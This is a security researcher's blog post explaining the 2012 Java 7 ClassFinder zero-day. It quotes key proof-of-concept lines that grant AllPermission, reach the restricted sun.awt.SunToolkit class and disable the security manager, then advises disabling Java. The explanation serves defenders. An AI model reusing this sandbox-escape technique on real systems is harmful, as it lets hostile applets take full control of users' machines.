Alert Logic Blog

‹ Back to Our Blog

Java 7 ClassFinder Restricted Package Bypass

Intro

There has been a lot of talk over the past couple of days about the new Java 7 exploit seen in the wild. Most of this talk covers the payload and distribution ([1][2]), but not many people are talking about the actual exploit and how it works in its excellent simplicity. As samples are public knowledge and a Metasploit module has been released, I’d like to talk a bit about how this exploit works.

The vulnerability was introduced by the new ClassFinder found in Java 7. The issue is a basic logic error that allows the developer to grab private classes from restricted packages. Public exploits are abusing this to set permissions that allow all code as privileged and disable the security manager. This marks all code inside of the applet as trusted and free to abuse the system. Let’s walk through the exploit and get an understanding of how it works by taking a look at a few lines from the proof of concept ([3]).

Getting Down With the Proof of Concept

Inside of the initialization routine we see a call to the function “disableSecurity()”.

disableSecurity();

Now it sets localStatement to point to setSecurityManager for future disabling.

Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);

Then the exploit sets up localAccessControlContext to set permissions to allow all running code. This will allow us to disable the security manager later.

Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
localProtectionDomain
});

Finally, we call the magic function with our arguments.

SetField(Statement.class, "acc", localStatement, localAccessControlContext);

Here the vulnerable getClass function gets called and retrieves “getField” from the restricted sun.awt.SunToolkit package. This allows the developer to perform privileged actions for any field.

Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);

It is now time to set the field as our previously setup arguments to enable all permissions across the applet and disable the securitymanager to allow any code as trusted execution.

((Field)localExpression.getValue()).set(paramObject1, paramObject2);

Conclusion

Unfortunately the next patch cycle for Java is not until October. Traditionally Oracle is not known for using out-of-bound patches, so disabling Java in browsers and, if possible, system-wide is the best step. If this is not possible, there is currently an unofficial patch located at ([4]).

References

[1] http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html – FireEye Payload Analysis

[2] http://labs.alienvault.com/labs/index.php/2012/new-java-0day-exploited-in-the-wild/ – AlienVault Payload Analysis

[3] http://pastie.org/4594319 – Exploit PoC

[4] http://www.deependresearch.org/2012/08/java-7-0-day-vulnerability-information.html – Java Third-Party Patch

 

BY: Tyler Borland, Security Researcher

Leave a Reply

Your email address will not be published.
Required fields are marked *

*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

© 2010-2013